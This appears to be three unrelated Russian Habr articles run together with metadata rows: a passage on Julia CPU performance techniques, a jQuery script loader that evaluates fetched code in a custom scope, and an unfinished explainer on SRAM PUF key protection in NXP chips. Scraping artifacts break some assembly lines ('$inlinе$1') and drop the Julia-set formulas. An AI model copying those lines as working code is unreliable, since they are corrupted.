Однако глянем на низкоуровневый код этой функции:
```
call_plus(x) = x + 1
code_native(call_plus, (Int,), debuginfo=:none)
.section __TEXT,__text,regular,pure_instructions
leaq 1(%rdi), %rax
retq
nopw %cs:(%rax,%rax)
nop
```
Функция `call_plus` вызывает `+` и компилируется в одну инструкцию `leaq` (а также некоторые заполнители `retq` и `nopw`). Но `+` — это нормальная функция Julia, поэтому `call_plus` — это пример того, как одна обычная функция Julia вызывает другую. Почему нет инструкции `callq` для вызова `+`?
Компилятор решил *встроить* функцию `+` в `call_plus`. Это означает, что вместо вызова `+` он скопировал *содержимое* `+` непосредственно в `call_plus`. Преимущества этого заключаются в следующем:
* Нет никаких накладных расходов от вызова функции
* Нет необходимости создавать "Кортеж" для хранения аргументов функции `+`.
* Все вычисления, происходящие в `+`, компилируются вместе с `call_plus`, что позволяет компилятору использовать информацию из одного в другом и, возможно, упростить некоторые вычисления.
Так почему же тогда не все функции встроены? Инлайнинг копирует код, увеличивает его размер и потребляет оперативную память. Кроме того, сами инструкции ЦП также должны помещаться в кэш ЦП (хотя инструкции ЦП имеют свой собственный кэш), чтобы быть эффективно извлеченными. Если бы все было встроено, программы стали бы огромными. Инлайнинг хорош, когда встроенная функция мала.
Вместо этого компилятор использует эвристику (эмпирические правила), чтобы определить, когда функция достаточно мала для встраивания, чтобы увеличить производительность. Эти эвристики не являются пуленепробиваемыми, поэтому Джулия предоставляет макросы `@noinline`, которые предотвращают встраивание небольших функций (полезно, например, для функций, вызывающих ошибки, которые, как предполагается, вызываются редко), и `@inline`, который не *заставляет* компилятор встроить функцию, но *настоятельно рекомендует*.
Если код содержит чувствительный ко времени раздел, например внутренний цикл, важно посмотреть на код сборки, чтобы убедиться, что небольшие функции в цикле встроены. Например, в [этой строке в моем хешировании kmer code](https://github.com/jakobnissen/Kash.jl/blob/b9a6e71acf9651d3614f92d5d4b29ffd136bcb5c/src/kmersketch.jl#L41), общая производительность minhashing падает в два раза, если эта аннотация `@inline` удаляется.
Крайняя разница между инлайнингом и отсутствием инлайнинга может быть продемонстрирована таким образом:
```
@noinline noninline_poly(x) = x^3 - 4x^2 + 9x - 11
inline_poly(x) = x^3 - 4x^2 + 9x - 11
function time_function(F, x::AbstractVector)
n = 0
for i in x
n += F(i)
end
return n
end;
@btime time_function(noninline_poly, data)
@btime time_function(inline_poly, data);
# 13.140 μs (1 allocation: 16 bytes)
# 5.951 μs (1 allocation: 16 bytes)
```
Unroll tight loops
------------------
Рассмотрим функцию, которая суммирует вектор 64-разрядных целых чисел. Если смещение памяти вектора данных хранится в регистре `%r9`, длина вектора сохраняется в регистре `%r8`, текущий индекс вектора в `%rcx`, а накапливание в `%rax`, то код вложенного цикла может выглядеть следующим образом:
```
L1:
; add the integer at location %r9 + %rcx * 8 to %rax
addq (%r9,%rcx,8), %rax
; increment index by 1
addq $inlinе$1, %rcx
; compare index to length of vector
cmpq %r8, %rcx
; repeat loop if index is smaller
jb L1
```
В общей сложности 4 инструкции на элемент вектора. Фактический код, сгенерированный Джулией, будет похож на этот, но также будет включать дополнительные инструкции, связанные с проверкой границ, которые здесь не имеют отношения к делу (и, конечно же, будут включать различные комментарии).
Однако, если функция написана следующим образом:
```
function sum_vector(v::Vector{Int})
n = 0
i = 1
for chunk in 1:div(length(v), 4)
n += v[i + 0]
n += v[i + 1]
n += v[i + 2]
n += v[i + 3]
i += 4
end
return n
end
```
Результат, очевидно, тот же самый, если мы предположим, что длина вектора делится на четыре. Если длина не делится на четыре, мы можем просто использовать приведенную выше функцию для суммирования первых N — rem(N, 4) элементов и добавления последних нескольких элементов в другой цикл. Несмотря на функционально идентичный результат, код цикла отличается и может выглядеть примерно так:
```
L1:
addq (%r9,%rcx,8), %rax
addq 8(%r9,%rcx,8), %rax
addq 16(%r9,%rcx,8), %rax
addq 24(%r9,%rcx,8), %rax
addq $inlinе$4, %rcx
cmpq %r8, %rcx
jb L1
```
В общей сложности 7 инструкций на 4 суммирования, или 1,75 инструкции на операцию. Это меньше половины количества инструкций на число integer! Увеличение скорости происходит от того, что проверка выхода заграницы цикла происходит реже. Мы называем этот процесс *разворачиванием* цикла, в данном случае в четыре раза. Естественно, разворачивание может быть выполнено только в том случае, если мы заранее знаем число итераций, поэтому мы не "перескакиваем" число итераций. Часто компилятор автоматически разворачивает циклы для повышения производительности, но иногда стоит посмотреть на ассемблерный код. Например, вот сборка для самого внутреннего цикла, сгенерированного на моем компьютере для `sum([1])`:
```
L144:
vpaddq 16(%rcx,%rax,8), %ymm0, %ymm0
vpaddq 48(%rcx,%rax,8), %ymm1, %ymm1
vpaddq 80(%rcx,%rax,8), %ymm2, %ymm2
vpaddq 112(%rcx,%rax,8), %ymm3, %ymm3
addq $inlinе$16, %rax
cmpq %rax, %rdi
jne L144
```
Там где можно, он развернут в четыре раза и использует 256-битные инструкции SIMD, в общей сложности 128 байт, 16 целых чисел, суммированных за итерацию, или 0.44 инструкции на целое число.
Обратите также внимание, что компилятор выбирает использование 4 различных SIMD-регистров `ymm`, от `ymm0` до `ymm3`, тогда как в моем примере ассемблерного кода я использовал только один регистр `rax`. Это происходит потому, что если вы используете 4 независимых регистра, то вам не нужно ждать завершения одного `vpaddq` (помните, что у него была задержка ~3 такта), прежде чем процессор сможет начать следующий.
Avoid unpredictable branches
----------------------------
Как упоминалось ранее, инструкции ЦП занимают по несколько циклов, но могут быть поставлены в очередь в ЦП до того, как предыдущая инструкция завершит вычисление. Итак, что же происходит, когда процессор сталкивается с ветвлением (то есть с инструкцией перехода)? Он не может знать, какую инструкцию поставить в очередь следующей, потому что это зависит от инструкции, которую он только что поставил в очередь и которая еще не выполнена.
Современные процессоры используют *предсказание ветвей*. Центральный процессор имеет схему *предсказателя ветвей*, которая угадывает правильную ветвь, основываясь на том, какие ветви были недавно взяты. В сущности, предсказатель ветвей пытается изучить простые шаблоны, в которых ветви берутся в коде, пока код выполняется. После постановки ветви в очередь, центральный процессор немедленно ставит в очередь инструкции из любой ветви, предсказанной предсказателем ветви. Правильность предположения проверяется позже, когда выполняется ветвь в очереди. Если предположение было правильным, отлично, процессор экономил время, угадывая. Если нет, ЦП должен очистить конвейер и отбросить все вычисления с момента первоначального предположения, а затем начать все сначала. Этот процесс вызывает задержку в несколько наносекунд.
Для программиста это означает, что скорость if-оператора зависит от того, насколько легко его угадать. Если это тривиально, предсказатель ветвления будет правильным почти все время, и оператор if займет не больше, чем простая инструкция, обычно 1 такт. В ситуации, когда ветвление является случайным, оно будет неверным примерно в 50% случаев, и каждое неверное предсказание может стоить около 10 тактов.
Ветви, вызванные циклами, являются одними из самых простых для угадывания. Если у вас есть цикл с 1000 элементами, код повторит цикл 999 раз и вырвется из цикла только один раз. Следовательно, предсказатель ветвей может просто всегда предсказать "опять по циклу" и получить точность 99,9%.
Мы можем продемонстрировать накладки неправильного предсказания ветвей с помощью простой функции:
```
# Copy all odd numbers from src to dst.
function copy_odds!(dst::Vector{UInt}, src::Vector{UInt})
write_index = 1
@inbounds for i in eachindex(src) # <--- this branch is trivially easy to predict
v = src[i]
if isodd(v) # <--- this is the branch we want to predict
dst[write_index] = v
write_index += 1
end
end
return dst
end
dst = rand(UInt, 5000)
src_random = rand(UInt, 5000)
src_all_odd = [2i+1 for i in src_random];
@btime copy_odds!(dst, src_random)
@btime copy_odds!(dst, src_all_odd);
# 10.977 μs (0 allocations: 0 bytes)
# 1.700 μs (0 allocations: 0 bytes)
```
В первом случае целые числа случайны, и около половины ветвей будут неверно предсказаны, что приведет к задержкам. Во втором случае ветвь всегда берется, и предсказатель способен быстро подобрать паттерн и достигнет почти 100% правильного предсказания. В результате на моем компьютере последний работает примерно в 6 раз быстрее.
Обратите внимание, что если вы используете меньшие векторы и повторяете вычисления много раз, как это делает макрос `@btime`, предсказатель ветвей способен выучить шаблон малых случайных векторов наизусть и достигнет гораздо лучшего результата, чем случайное предсказание. Это особенно заметно в самых современных процессорах (и в частности, в процессорах, продаваемых AMD, как я слышал), где предсказатели ветвей стали намного лучше. Это "обучение наизусть" является артефактом цикла в процессе бенчмаркинга. Вы не ожидали бы многократного выполнения одних и тех же вычислений на реальных данных:
```
src_random = rand(UInt, 100)
src_all_odd = [2i+1 for i in src_random];
@btime copy_odds!(dst, src_random)
@btime copy_odds!(dst, src_all_odd);
# 63.647 ns (0 allocations: 0 bytes)
# 43.105 ns (0 allocations: 0 bytes)
```
Поскольку ветви очень быстры, если они предсказаны правильно, высокопрогнозируемые ветви, вызванные проверками ошибок, не имеют большого значения для производительности, предполагая, что код по существу никогда не ошибается. Следовательно, ветвь, подобная проверке границ, очень быстра. Вы должны удалять проверки границ только в том случае, если абсолютно максимальная производительность критична, или если проверка границ происходит в цикле, который в противном случае был бы SIMD-векторизован.
Если ветви не могут быть легко предсказаны, часто можно перефразировать функцию, чтобы избежать ветвей. Например, в приведенном выше примере `copy_odds!` мы могли бы вместо этого написать так:
```
function copy_odds!(dst::Vector{UInt}, src::Vector{UInt})
write_index = 1
@inbounds for i in eachindex(src)
v = src[i]
dst[write_index] = v
write_index += isodd(v)
end
return dst
end
dst = rand(UInt, 5000)
src_random = rand(UInt, 5000)
src_all_odd = [2i+1 for i in src_random];
@btime copy_odds!(dst, src_random)
@btime copy_odds!(dst, src_all_odd);
# 2.019 μs (0 allocations: 0 bytes)
# 1.985 μs (0 allocations: 0 bytes)
```
Тут нет никаких других ветвей, кроме той, которая вызвана самим циклом (что легко предсказуемо), и приводит к скорости несколько хуже, чем идеально предсказанная, но гораздо лучше для случайных данных.
Компилятор часто удаляет ветви в вашем коде, когда те же вычисления можно выполнить с помощью других инструкций. Когда компилятор не может этого сделать, Джулия предлагает функцию `ifelse`, которая иногда может помочь избежать ветвления.
Переменная тактовая частота
---------------------------
Современный процессор ноутбука, оптимизированный для низкого энергопотребления, потребляет примерно 25 Вт мощности на чипе размером со штамп (и тоньше человеческого волоса). Без надлежащего охлаждения это приведет к тому, что температура процессора взлетит до небес и расплавит пластик чипа, разрушив его. Как правило, процессоры имеют максимальную рабочую температуру около 100 C. Энергопотребление, а следовательно, и тепловыделение зависит, помимо прочего, от тактовой частоты — более высокие тактовые частоты генерируют больше тепла.
Современные процессоры способны регулировать свою тактовую частоту в соответствии с температурой процессора, чтобы предотвратить разрушение чипа. Часто температура процессора будет ограничивающим фактором в том, как быстро процессор может работать. В таких ситуациях лучшее физическое охлаждение вашего компьютера напрямую приводит к более быстрому процессору. Старые компьютеры часто можно оживить, просто удалив пыль из салона и заменив охлаждающие вентиляторы и [термопасту процессора](https://en.wikipedia.org/wiki/Thermal_grease)!
Как программист, вы мало что можете сделать, чтобы учесть температуру процессора, но это полезно знать. В частности, колебания температуры процессора часто объясняют наблюдаемую разницу в производительности:
* Процессоры обычно работают быстрее всего в начале рабочей нагрузки, а затем снижают производительность по мере достижения максимальной температуры
* Инструкции SIMD обычно требуют больше энергии, чем обычные инструкции, генерируя больше тепла и снижая тактовую частоту. Это может компенсировать некоторый прирост производительности SIMD, но SIMD все равно всегда будет более эффективным, когда это применимо
Multithreading
--------------
В старые добрые времена тактовая частота процессора увеличивалась с каждым годом по мере появления на рынке новых процессоров. Частично из-за тепловыделения это ускорение замедлилось, как только процессоры достигли отметки в 3 ГГц. Теперь мы видим лишь незначительные приращения тактовой частоты в каждом поколении процессоров. Вместо необработанной скорости выполнения, фокус сместился на получение большего количества вычислений за такт. Кэши ЦП, конвейеризация ЦП, прогнозирование ветвей и инструкции SIMD — все это важные достижения в этой области, и все они были рассмотрены выше.
Еще одна важная область, в которой процессоры улучшились — это просто их число: почти все процессорные чипы содержат несколько меньших процессоров или *ядер* внутри. Каждое ядро имеет свой собственный небольшой кэш процессора и выполняет вычисления параллельно. Кроме того, многие процессоры имеют функцию под названием *hyper-threading*, где два *потока* (т.е. потоки инструкций) могут работать на каждом ядре. Идея состоит в том, что всякий раз, когда один процесс останавливается (например, из-за того, что он испытывает промах кэша или неправильное предсказание), другой процесс может продолжаться на том же ядре. Процессор "притворяется", что у него в два раза больше процессоров. Например, я пишу это на ноутбуке с процессором Intel Core i9-9880H. Этот процессор имеет 8 ядер, но различные операционные системы, такие как Windows или Linux, будут показывать 16 "процессоров" в программе системного монитора.
Гиперпоточность действительно имеет значение только тогда, когда ваши потоки иногда не могут выполнять работу. Помимо внутренних причин процессора, таких как промахи кэша, поток также может быть приостановлен, потому что он ожидает внешнего ресурса, такого как веб-сервер или данные с диска. Если вы пишете программу, в которой некоторые потоки проводят значительное время на холостом ходу, ядро может быть использовано другим потоком, и hyperthreading может показать свою ценность.
Давайте посмотрим нашу первую параллельную программу в действии. Во-первых, нам нужно убедиться, что Джулия действительно была запущена с правильным количеством потоков. Вы можете установить переменную окружения `JULIA_NUM_THREADS` перед запуском Julia. У меня есть 8 ядер на этом процессоре, все с гиперпоточностью, поэтому я установил количество потоков на 16:
**Код**
```
Threads.nthreads() # 16
# Spend about half the time waiting, half time computing
function half_asleep(start::Bool)
a, b = 1, 0
for iteration in 1:5
start && sleep(0.06)
for i in 1:100000000
a, b = a + b, a
end
start || sleep(0.06)
end
return a
end
function parallel_sleep(n_jobs)
jobs = []
for job in 1:n_jobs
push!(jobs, Threads.@spawn half_asleep(isodd(job)))
end
return sum(fetch, jobs)
end
parallel_sleep(1); # run once to compile it
```
```
for njobs in (1, 4, 8, 16, 32)
@time parallel_sleep(njobs);
end
0.595490 seconds (48 allocations: 1.969 KiB)
0.560908 seconds (371 allocations: 21.062 KiB)
0.573709 seconds (422 allocations: 20.875 KiB)
0.649239 seconds (697 allocations: 32.984 KiB)
2.157162 seconds (1.25 k allocations: 57.156 KiB)
```
Видно, что с помощью этой задачи мой компьютер может выполнять 16 заданий параллельно почти так же быстро, как он может выполнять 1. Но 32 задания занимают гораздо больше времени.
Для программ с ограниченным процессором ядро постоянно занято только одним потоком, и программисту не так уж много нужно сделать, чтобы использовать гиперпоточность. На самом деле, для наиболее оптимизированных программ *отключение* гиперпоточности обычно приводит к повышению производительности. Большинство рабочих нагрузок не настолько оптимизированы и действительно могут извлечь выгоду из гиперпотока, поэтому мы пока остановимся на 16 потоках.
### Распараллеливаемость
Многопоточность сложнее, чем любая другая оптимизация, и должна быть одним из последних инструментов, к которым обращается программист. Тем не менее, это также эффективная оптимизация. Вычислительные кластеры обычно содержат процессоры с десятками процессорных ядер, предлагая огромный потенциальный прирост скорости.
Необходимым условием эффективного использования многопоточности является то, что ваши вычисления могут быть разбиты на несколько блоков, над которыми можно работать независимо. К счастью, большинство вычислительных задач (по крайней мере, в моей области работы, биоинформатике) содержат подзадачи, которые *до неприличия параллельны*. Это означает, что существует естественный и простой способ разбить его на подзадачи, которые могут быть обработаны независимо. Например, если для 100 генов требуется определенное **независимое** вычисление, естественно использовать один поток для каждого гена.
Давайте возьмем пример небольшой, до неприличия параллельной задачи. Мы хотим построить [Julia set](https://en.wikipedia.org/wiki/Julia_set). Оно названо в честь Гастона Жюлиа и не имеет ничего общего с языком Джулия. Множество Жюлиа — это (часто) фрактальные наборы комплексных чисел. Сопоставляя реальный и комплексный компонент членов множества со значениями пикселей X и Y экрана, можно генерировать ЛСД-Триппи-изображения, связанные с фракталами.
Множество Жюлиа, который я создаю ниже, определяется следующим образом: мы определяем функцию , где  — некоторая константа. Затем мы записываем количество раз, когда  может быть применено к любому заданному комплексному числу  до . Количество итераций соответствует яркости одного пикселя на изображении. Мы просто повторяем это для диапазона реальных и мнимых значений в сетке, чтобы создать изображение.
Во-первых, давайте посмотрим на непараллельное решение:
**Код**
```
const SHIFT = Complex{Float32}(-0.221, -0.713)
f(z::Complex) = z^2 + SHIFT
"Set the brightness of a particular pixel represented by a complex number"
function mandel(z)
n = 0
while ((abs2(z) < 4) & (n < 255))
n += 1
z = f(z)
end
return n
end
"Set brightness of pixels in one column of pixels"
function fill_column!(M::Matrix, x, real)
for (y, im) in enumerate(range(-1.0f0, 1.0f0, length=size(M, 1)))
M[y, x] = mandel(Complex{Float32}(real, im))
end
end
"Create a Julia fractal image"
function julia()
M = Matrix{UInt8}(undef, 20000, 5000)
for (x, real) in enumerate(range(-1.0f0, 1.0f0, length=size(M, 2)))
fill_column!(M, x, real)
end
return M
end;
```
```
@time M = julia();
# 9.565873 seconds (2 allocations: 95.368 MiB, 0.09% gc time)
```
Заняло около 10 секунд на моем компьютере. Теперь перейдем к параллельному:
```
function recursive_fill_columns!(M::Matrix, cols::UnitRange)
F, L = first(cols), last(cols)
# If only one column, fill it using fill_column!
if F == L
r = range(-1.0f0,1.0f0,length=size(M, 1))[F]
fill_column!(M, F, r)
# Else divide the range of columns in two, spawning a new task for each half
else
mid = div(L+F,2)
p = Threads.@spawn recursive_fill_columns!(M, F:mid)
recursive_fill_columns!(M, mid+1:L)
wait(p)
end
end
function julia()
M = Matrix{UInt8}(undef, 20000, 5000)
recursive_fill_columns!(M, 1:size(M, 2))
return M
end;
```
```
@time M = julia();
# 0.564578 seconds (35.57 k allocations: 98.856 MiB, 3.72% gc time)
```
Почти в 16 раз быстрее! С 16 потоками это близко к наилучшему сценарию, возможному только для почти идеальных смущающе параллельных задач.
Несмотря на потенциал больших выгод, на мой взгляд, многопоточность должна быть одним из последних средств повышения производительности по трем причинам:
1. реализация многопоточности во многих случаях сложнее, чем другие методы оптимизации. В приведенном примере это было очень просто. В сложном рабочем процессе можно быстро запутаться.
2. многопоточность может привести к труднодиагностируемым и неустойчивым ошибкам. Они почти всегда связаны с несколькими потоками, считывающими и записывающими в одну и ту же память. Например, если два потока одновременно увеличивают целое число со значением `N`, то оба потока будут считывать `N` из памяти и записывать `N+1` обратно в память, где правильный результат двух приращений должен быть `N+2`! Бесит, что эти ошибки появляются и исчезают непредсказуемо, так как они вызваны неудачным временем. Эти ошибки, конечно, имеют решения, но это сложная тема, выходящая за рамки данного опуса.
3. наконец, достижение производительности с помощью нескольких потоков — это действительно достижение производительности за счет потребления большего количества ресурсов, а не получение чего-то из ничего. Часто вы платите за использование большего количества потоков, либо буквально покупая время облачных вычислений, либо оплачивая счет за повышенное потребление электроэнергии из нескольких ядер процессора, либо метафорически претендуя на большее количество ресурсов процессора ваших пользователей, которые они могли бы использовать где-то еще. Напротив, более эффективные вычисления ничего не стоят.
GPUs
----
До сих пор мы рассматривали только самый важный вид вычислительных чипов — центральный процессор. Но есть много других видов чипов. Наиболее распространенным видом альтернативного чипа является графический процессор (GPU).
Как показано в приведенном выше примере с множеством Жюлиа, задачи создания компьютерных образов часто оказываются смущающе параллельными с чрезвычайно высокой степенью распараллеливаемости. В пределе, значение каждого пикселя является независимой задачей. Это требует, чтобы чип с большим количеством ядер работал эффективно. Поскольку создание графики является фундаментальной частью того, что делают компьютеры, почти все коммерческие компьютеры содержат графический процессор. Часто это меньший чип, встроенный в материнскую плату (*интегрированная графика*, популярная в небольших ноутбуках). В других случаях это большая, громоздкая карта.
Графические процессоры пожертвовали многими наворотами процессоров, описанных в этом документе, такими как специализированные инструкции, SIMD и прогнозирование ветвей. Они также обычно работают на более низких частотах, чем CPU. Это означает, что их необработанная вычислительная мощность во много раз медленнее, чем у процессора. Чтобы компенсировать это, у них есть большое количество ядер. Например, высокопроизводительный игровой графический процессор NVIDIA RTX 2080Ti имеет 4.352 ядра. Следовательно, некоторые задачи могут испытывать 10-кратное или даже 100-кратное ускорение с помощью графического процессора. В частности, для научных приложений матричные и векторные операции обладают высокой степенью распараллеливаемости.
К сожалению, ноутбук, на котором я пишу этот документ, имеет только интегрированную графику, и пока нет стабильного способа взаимодействия с интегрированной графикой с помощью Julia, поэтому я не могу показать примеры.
Существуют также более эзотерические чипы, такие как TPU (явно предназначенные для низкоточных тензорных операций, распространенных в глубоком обучении) и ASICs (общий термин для узкоспециализированных чипов, предназначенных для одного приложения). На момент написания статьи эти чипы были необычными, дорогими, плохо поддерживаемыми и имели ограниченное применение, и поэтому не представляли никакого интереса для исследователей, не связанных с компьютерными науками. | https://habr.com/ru/post/529204/ | null | ru | null |
# JavaScript loader без define
Привет Хабр!
Всем известно решение задачи загрузки скриптов.
Например Curl.JS, Require.JS, + популярные frameworks умеют это тоже.
**MAIN UPDATE:** В комментариях всё обсудили. Спасибо [azproduction](http://habrahabr.ru/users/azproduction/) и [nuit](http://habrahabr.ru/users/nuit/) за идейные комментарии, а [ainu](http://habrahabr.ru/users/ainu/) за моральную поддержку.
Из комментариев ясно, что 100% лучше использовать [LMD](https://github.com/azproduction/lmd), т.к. там всё то же что здесь рассказано, только есть учет зависимостей, кеша и т.п. И, да, оно изобретено гораздо раньше, т.е. было первей!
Что такое [LMD](http://habrahabr.ru/post/145269/): читаем уважаемого [azproduction](http://habrahabr.ru/users/azproduction/).
Под катом остался код, который можно использовать в ознакомительных целях для ответа на вопрос почему написан MAIN UPDATE, то есть почему нужно использовать LMD вместо того что под катом.
Так же важно что оператор 'with' в настоящий момент [Deprecated](http://habrahabr.ru/post/120364/).
Все это написано с учетом [ссылки](http://tomdale.net/2012/01/amd-is-not-the-answer/).
Приводится исключительно код загрузчика, никаких дополнительных аспектов, которые учтены в LMD — нет.
**UPD:** сделано в попытке реализовать в browser то как работает [mozIJSSubScriptLoader](https://developer.mozilla.org/en/XPCOM_Interface_Reference/mozIJSSubScriptLoader) и/или [Components.utils.import](https://developer.mozilla.org/en/Components.utils.import) для расширений Firefox.
Т.е., загрузить скрипт, при этом переопределив его scope.
[Пример](http://wentout.github.com/SubScriptLoader/).
Пара ссылок на начальные исходники: [Раз](http://jsfiddle.net/YEC3w/) и [Два](http://jsfiddle.net/Nh7uN/)
Финальный код для загрузчика скриптов в виде метода для jQuery:
```
(function( jQuery, undefined ){
jQuery.loadSubScript = function( url, scope, thisName, returnCallback ){
// если не передан scope сделаем его глобальным
var scope = scope || window;
// аналогично
var thisName = thisName || window;
$.ajax( {
url: url
, type: 'GET'
, dataType: 'text'
, success: function( data ){
try{
// создаем полученный код, не забываем про with
var fns = new Function(
'with( this ){ return '
+ Function.apply( null, [ data ] )
+ '; }'
);
// инициализируем замыкание с with
fns = fns.call( scope );
// инициализируем замыкание с this
var turn = fns.call( thisName );
// возвращаем результат в callback, если он есть
returnCallback && returnCallback( turn );
}catch(e){ alert(e); }
}
, error: function( jqXHR, textStatus, errorThrown ){
alert('Loader Error:\n' + errorThrown );
}
} );
};
})( jQuery );
```
Так же есть [НЕ Плагин](https://github.com/wentout/SubScriptLoader/blob/master/create.0.1.js), в котором реализуется метод noConflict, позволяющий убрать код загрузчика из window ( jQuery по прежнему используется для $.ajax ).
Что можно получить с помощью данного кода:
* Просто загрузить скрипт в глобальный объект: window.
* Загрузить скрипт с «подменой» scope: window + YourOwnScopObject.
* Загрузить скрипт с подменой ему this.
* Вернуть что-нибудь в callback, например, просто написав в вашем загружаемом скрипте return.
* Избавиться от define().
Конечно, если что нибудь будет нести **var**, то оно будет внутри созданного замыкания. Без var, как и должно быть — попадет в window. То, что является методами переданного в scope объекта будет доступно без точки. С this — всё как обычно, в случае его подмены.
Ограничения: локальные файлы в Google Chrome и Opera.
Для Chrome лечится запуском с ключом: --allow-file-access-from-files.
Но лучше, всё же использовать LMD.
Пользуйтесь на здоровье!
**[Ссылка на GIT](https://github.com/wentout/SubScriptLoader)**
Best Regards!
PS: Не знаю какую лицензию выбрать, наверное MIT + GPLv3. | https://habr.com/ru/post/145618/ | null | ru | null |
# Защита секретов с помощью технологии SRAM PUF
Команда *Racoon Security* постоянно находится в поиске новых технологий для применения в исследованиях и контрактном производстве. В очередной раз просматривая список докладов прошедших выставок *Embedded World 2019* и *Embedded World 2020*, мы наткнулись на документ от *NXP Semiconductors* – [*Extend MCU Security Capabilities Beyond Trusted Execution with Hardware Crypto Acceleration and Asset Protection*](https://www.nxp.com/docs/en/white-paper/IOTSECWP.pdf). Так мы узнали про технологию SRAM PUF, в основе которой лежит так называемая *Физически неклонируемая функция (Physically unclonable function)* на основе состояния памяти. Мы решили разобраться, как работает эта технология, есть ли у нее недостатки и как ее можно применить в наших разработках.
### Безопасность секретов в embedded-устройствах
В основе любой защищенной системы, вероятно, должен находиться секрет. Рассуждая про embedded, мы можем предположить, что ключ или какая-то его часть будет находиться на устройстве – в защищенном участке памяти, фьюзах или антифьюзах. Таким образом, имея доступ к устройству, определенное количество времени, оборудования и денег, можно узнать этот секретный ключ, тем самым поставив безопасность устройства под сомнение. В качестве альтернативы ключ можно не хранить, но достоверно воспроизводить в процессе работы с помощью *Физически неклонируемых функций*, то есть PUF.
### Что такое PUF
На Хабре уже есть хорошая статья ([*Физически неклонируемые функции: защита электроники от нелегального копирования*](https://habr.com/ru/post/343386/)), которая знакомит читателя с концепцией PUF. Но она имеет обзорный характер и не углубляется в практическую реализацию технологии с упоминанием конкретных производителей. Поэтому позволим себе вкратце рассказать, что такое PUF, после чего перейдем к реализации технологии на примере контроллеров *NXP Semiconductors*.
*Physically Unclonable Function* – это функция, которая основана на уникальных физических характеристиках внутри каждого отдельно взятого объекта. В качестве такой характеристики может выступать, например, совокупность биометрических данных человека.
Рис. 1. Аналогия между биометрическими данными человека и "биометрикой" микросхемы На рисунке видно, что для идентификации человека мы можем использовать такие документы, как паспорт или свидетельство о рождении. Но эти документы в теории могут быть легко скопированы. Однако с помощью уникального набора биометрических данных мы можем достоверно определить, что перед нами находится конкретный представитель вида homo sapiens. Причем нам не обязательно хранить набор этих данных в явном виде. Достаточно составить алгоритм, который сможет извлекать данные, а затем воспроизводить этот "отпечаток" на основе вспомогательной информации.
У кремниевого устройства тоже есть свои уникальные характеристики, которые помогут нам отличить одну микросхему от другой. К таким характеристикам, к примеру, можно отнести уникальность транзисторов (их пороговых напряжений) внутри микросхемы, так как в процессе производства они будут изготовлены с определенной погрешностью. В свою очередь, это может быть использовано в PUF, основанной на состоянии памяти – SRAM PUF.
Углубляться в то, как работает SRAM, в рамках этой статьи не будем. Однако стоит напомнить, что SRAM – это энергозависимый тип памяти, то есть хранить информацию в ячейках памяти можно, только пока есть питание. Следовательно, при каждом включении устройства SRAM будет содержать неинициализированные значения. Эти первоначальные значения SRAM-ячеек будут случайными и уникальными для каждой микросхемы ввиду того, что транзисторы, из которых изготовлены эти ячейки, отличаются.
### SRAM PUF
Итак, в основе SRAM PUF лежит состояние SRAM-ячеек при подаче питания. В этот момент ячейка может принимать значение логического '0' или '1'. Совокупность этих ячеек формирует уникальное состояние памяти – *SRAM Startup Data*. Однако не все ячейки будут содержать одно и то же значение от цикла к циклу, некоторые будут колебаться. Стабильность SRAM-ячейки при подаче питания обусловлена различием пороговых напряжений в ее "плечах". Чем меньше разность, тем большее влияние оказывает нестабильность температуры, питания, а также старение кремния. Более подробно об этом вы можете прочитать в документе [*White Paper The reliability of SRAM PUF*](https://www.intrinsic-id.com/wp-content/uploads/2017/08/White-Paper-The-reliability-of-SRAM-PUF.pdf). Так или иначе, использовать такой отпечаток напрямую нельзя – необходимо обеспечить его воспроизводимость с помощью алгоритма коррекции ошибок.
Рис. 2. Совокупность SRAM-ячеек и их стартовых значений служит для формирования уникального, но зашумленного SRAM-отпечаткаПример работы такого алгоритма мы рассмотрим чуть позже, когда познакомимся с методами SRAM PUF. А пока поверим на слово, что, пропустив такой зашумленный отпечаток через алгоритм, мы получим две сущности – воспроизводимый отпечаток *Digital Fingerprint* и вспомогательную информацию *Helper Data*.
*Helper Data* не содержит какого-либо секрета, но используется для того, чтобы восстанавливать точный отпечаток *Digital Fingerprint* из зашумленного отпечатка *SRAM Startup Data*. В процессе работы *Digital Fingerpint* не покидает пределов PUF-блока и не сохраняется после выключения питания. Для его воспроизведения нам необходимо сохранить вспомогательную информацию (*Helper Data*).
Рис. 3. Процесс формирования основных составляющих SRAM PUF – Digital Fingerprint и Helper DataТаким образом, *Digital Fingerprint* может быть использован в качестве корневого ключа для защиты секретов – симметричных или асимметричных ключей и другой конфиденциальной информации.
### SRAM PUF в контроллерах NXP
PUF-блок в контроллерах *NXP Semiconductors* реализован на основе IP-решения компании Intrinsic ID. На данный момент поддержка PUF-блока есть в контроллерах серий LPC5400 (Cortex-M4) и LPC5500 (Cortex-M33).
Рассматривать основные методы SRAM PUF будем на примере LPC55Sxx с помощью диаграмм, представленных в [*AN12324*](https://www.nxp.com/docs/en/application-note/AN12324.pdf).
Существуют следующие методы:
* Enroll – генерация кода активации (*Activation Code*);
* Start – воспроизведение отпечатка (*Digital Fingerprint*);
* SetKey – установка пользовательского ключа;
* GenerateKey – установка случайного пользовательского ключа;
* GetKey – получение пользовательского ключа.
#### PUF Enroll - генерация Activation Code
Чтобы начать работать с SRAM PUF, необходимо выполнить команду *Enroll*. Эту операцию следует проделать единожды для каждого устройства. В результате выполнения *Enroll* мы получаем уникальный *Digital Fingerprint* и соответствующий ему *Activation Сode* (*Helper Data*).
Как уже было сказано, значение *Digital Fingerprint* не сохраняется и не покидает PUF-блок, а вот *Activation Code* можно сохранить в любую энергонезависимую память (NVM), т. к. он не содержит секрета.
*Digital Fingerprint* представляет собой 256-битный ключ, а *Activation Code* – блок данных размером до 1192 байт (9536 бит).
Стоит отметить, что при каждом вызове команды *Enroll* мы получаем другие значения *Digital Fingerprint* и *Activation Code*, поэтому при потере *Activation Code* невозможно восстановить оригинальный *Digital Fingerprint*, а следовательно, и все секреты, которые были защищены с помощью этого отпечатка. Поэтому существует возможность отключить команду Enroll с помощью специального фьюза.
Копирование *Activation Code* на другое устройство бессмысленно, так как малейшие изменения в *SRAM Startup Data* приведут к получению совершенно другого *Digital Fingerprint*, а следовательно, сведут на нет возможность прочитать ключи и данные (секреты), защищенные оригинальным отпечатком.
Рис. 4. Метод Enroll, заключающийся в получении стабильного Digital Fingerprint и Activation Code (Helper Data) для его восстановления#### PUF Start – воспроизведение Digital Fingerprint
